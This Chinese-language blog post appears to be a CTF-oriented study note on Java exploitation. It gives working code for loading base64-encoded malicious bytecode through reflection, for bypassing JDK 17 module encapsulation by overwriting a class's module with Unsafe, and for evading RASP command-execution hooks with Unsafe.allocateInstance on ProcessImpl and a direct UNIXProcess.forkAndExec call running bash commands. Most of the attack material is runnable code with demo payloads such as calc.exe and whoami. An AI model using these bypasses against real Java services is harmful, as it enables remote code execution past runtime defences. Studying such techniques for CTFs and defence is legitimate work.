jdk17的反射限制绕过
之前学的,最近在面试,正好复习一下
字节码加载
看个正常ClassLoader.defineCLass()
的例子1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17package study;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class study1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
String payload = "yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHABkMABoAGwEACGNhbGMuZXhlDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAB0AAQABAAAABSq3AAGxAAAAAQALAAAABgABAAAAAQAIAAwACQABAAoAAABDAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAgALAAAADgADAAAABAAJAAUADQAGAA0AAAAHAAJMBwAOAAABAA8AAAACABA=";
byte[] decode = Base64.getDecoder().decode(payload);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Evil", decode, 0, decode.length);
evil.newInstance();
}
}
base64的内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package study;
import java.io.*;
import java.util.Base64;
public class base64 {
public static void main(String[] args) throws IOException {
File file=new File("Evil.class");
FileInputStream fileInputStream=new FileInputStream(file);
byte[] content=new byte[(int) file.length()];
fileInputStream.read(content);
System.out.println(Base64.getEncoder().encodeToString(content));
}
}
Evil.class就是正常在静态/初始化类的代码里添加弹出计算器的命令执行,在被实例化的时候会被自动调用1
2
3
4
5
6
7public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
这里我的jdk版本是1.8._201
,是可以弹出计算器的
但是有时候我们打CTF遇到项目的jdk是jdk17的情况,反射时会报Exception in thread "main" java.lang.reflect.InaccessibleObjectException
的报错,比如:
在JDK9
至JDK16
版本之中,Java.*
依赖包下所有的非公共字段和方法在进行反射调用的时候,会出现关于非法反射访问的警告,但是在JDK17
之后,采用的是强封装,默认情况下不再允许这一类的反射,所有反射访问java.*
的非公共字段和方法的代码将抛出InaccessibleObjectException
异常。Oracle
给的解释是这种反射的使用对JDK
的安全性和可维护性产生了负面影响。
Unsafe绕过
JDK11之前
JDK11
之前可以利用Unsafe的defineClass方法
来调用并加载非public
类
1 | package study; |
JDK11
但是在JDK11
的时候,Unsafe.defineClass
方法被移除并且默认禁止跨包之间反射调用非公共方法,在JDK11
的时候,依旧可以使用defineAnonymousClass
来触发,因为defineAnonymousClass
没有被删除。
就是把上面的defineClass
方法改成defineAnonymousClass
方法1
2
3
4
5
6
7
8
9public static void main(String[] args) throws Exception {
String payload = "yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHABkMABoAGwEACGNhbGMuZXhlDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAB0AAQABAAAABSq3AAGxAAAAAQALAAAABgABAAAAAQAIAAwACQABAAoAAABDAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAgALAAAADgADAAAABAAJAAUADQAGAA0AAAAHAAJMBwAOAAABAA8AAAACABA=";
byte[] decode = Base64.getDecoder().decode(payload);
Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
c2.newInstance();
}
JDK17
来到JDK17,我看网上的方法是反射修改当前类的module和classloader相同来绕过if判断返回true
我们正常调用报错的信息是:1
2
3
4
5
6Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @404b9385
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at study.study1.main(study1.java:13)
这里我们跟进setAccessible方法
它会调用Reflection.getCallerClass()
方法来返回调用者的类的信息,然后跟进checkCanSetAccessible
方法,把caller和Classloader作为参数传入
这里先判断caller== MethodHandle.class
,是的话抛出异常
然后分别取caller
和declaringClass
的module,判断module是否相等,相等返回true
后面也判断caller
的module是否等于object
的module(java.base
)
后面的判断不分析,我们的目的是改这个exp类的module,让它和Classloader的module(java.base
)相等即可
Unsafe类中有个 getAndSetObject
方法,可以更改当前类的偏移量的值putObject
方法也可以代替getAndSetObject
方法
1 | import sun.misc.Unsafe; |
此时可以发现module都为java.base
但是这里遇到一个坑: 我本地import sun.misc.Unsafe;
会报错java: 程序包sun.misc不存在
不知道为啥,我IDEA是可以进入这个包的,然后我本地cmd命令行来java运行class文件,运行是可以绕过的,能弹计算器,所以应该是idea的问题
然后在网上搜发现都是把项目结构换jdk8的,然后去设置里面瞎点发现了java 编译器的目标字节码版本是默认之前新建项目的jdk8,改成jdk17就可以了
或者打阿里云CTF遇到过,加jvm options的
原理是通过--add-opens
指令,来向未命名模块(ALL-UNNAMED)打开指定的Java平台模块中的包
这里加载动态字节码,只需要访问java.base模块里的java.lang包打开向未命名模块1
--add-opens java.base/java.lang=ALL-UNNAMED
阿里云云CTF chain17那题的配置:1
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
也可以正常反射
RASP
原理
RASP
全称是Runtime applicaion self-protection
,在2014
念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook
函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件。
目前Java RASP
主要是通过Instrumentation
编写Agent
的形式,在Agent
的premain
和agentmain
中加入检测类一般继承于ClassFileTransformer
,当程序运行进来的时候,通过类中的transform
检测字节码文件中是否有一些敏感的类文件,比如ProcessImpl
等,就会进行字节码转换操作,比如插入返回null
的代码,简单的可以理解为通过Instrumentation
来对JVM
进行实时监控
绕过
RASP
主要是通过转换字节码来达到目的,如果设置的检测的方法存在着更底层的方法或者相同层级的不同方法能够达到相同的效果,那么就能完成绕过。
UNIXProcess
比如说Windows通过检测processImpl.start
来进行防御,而在Linux
或Mac
系统中,还会存在着UNIXProcess.forkAndExec()
能够达到RCE
的效果。
allocateInstance
若RASP限制了某些类的构造方法(比如TrAXFilter
(加载字节码)、ProcessImpl
(Windows命令执行)、UnixProcess
(Linux命令执行))
可以用Unsafe
的allocateInstance
方法绕过这个限制
windows:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class study1 {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(study1.class, addr, baseModule);
Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "calc", null, null, stdHandles, false);
}
}
linux:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16String cmd = "whoami";
int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);
Unsafe+forkAndExec
如果RASP
把UNIXProcess/ProcessImpl
类的构造方法给拦截了,依旧可以绕过,可以直接通过触发forkAndExec
的形式来绕过,因为无论是UNIXProcess
或ProcessImpl
最终触发的方法是forkAndExec